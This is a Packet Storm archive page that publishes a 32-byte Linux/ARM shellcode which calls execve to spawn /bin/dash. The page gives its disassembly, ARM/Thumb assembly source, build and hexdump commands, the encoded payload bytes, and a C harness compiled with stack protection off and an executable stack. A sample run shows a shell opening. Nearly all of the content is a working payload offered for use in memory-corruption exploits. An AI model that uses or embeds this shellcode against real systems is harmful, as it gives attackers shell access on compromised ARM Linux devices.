exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/ARM execve /bin/dash Shellcode

Linux/ARM execve /bin/dash Shellcode
Posted Jun 16, 2020
Authored by Anurag Srivastava

32 bytes small Linux/ARM execve /bin/dash shellcode.

tags | shellcode
systems | linux
SHA-256 | fabc3a831bff99d6730f97c3240cc21f6d5c4711bd6f1b6ab992f145a704413d

Linux/ARM execve /bin/dash Shellcode

Change Mirror Download
# Title:  Linux/ARM - execve /bin/dash Shellcode (32 bytes)
# Date: 2020-06-08
# Category: Shellcode
# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
# Author: Anurag Srivastava
# Description: execve shellcode

/*
## Objdump

pi@raspberrypi:~/hex $ objdump -d ed1

ed1: file format elf32-littlearm


Disassembly of section .text:

00010054 <_start>:
10054: e28f3001 add r3, pc, #1
10058: e12fff13 bx r3
1005c: a002 add r0, pc, #8 ; (adr r0, 10068 <_start+0x14>)
1005e: 1a49 subs r1, r1, r1
10060: 1c0a adds r2, r1, #0
10062: 7242 strb r2, [r0, #9]
10064: 270b movs r7, #11
10066: df01 svc 1
10068: 6e69622f .word 0x6e69622f
1006c: 7361642f .word 0x7361642f
10070: 46c05968 .word 0x46c05968
pi@raspberrypi:~/hex $ nano ed1.s

##code

pi@raspberrypi:~/hex $ cat ed1.s
.section .text
.global _start

_start:
.ARM
add r3, pc, #1
bx r3

.THUMB
add r0, pc, #8
sub r1, r1, r1
mov r2, r1
strb r2, [r0, #9]
mov r7, #11
svc #1

.ascii "/bin/dashY"

pi@raspberrypi:~/hex $ as ed1.s -o ex.o
pi@raspberrypi:~/hex $ ld -N ex.o -o exdash
pi@raspberrypi:~/hex $ objcopy -O binary exdash exdash.bin
pi@raspberrypi:~/hex $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' exdash.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46


## Steps to compile given shellcode C program file
pi@raspberrypi:~ gcc -fno-stack-protector -z execstack tada.c -o tada
pi@raspberrypi:~/hex $ ./tada
Shellcode Length: 32
$ whoami
pi
$ exit

*/


#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46";
main(){

printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;

ret();
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close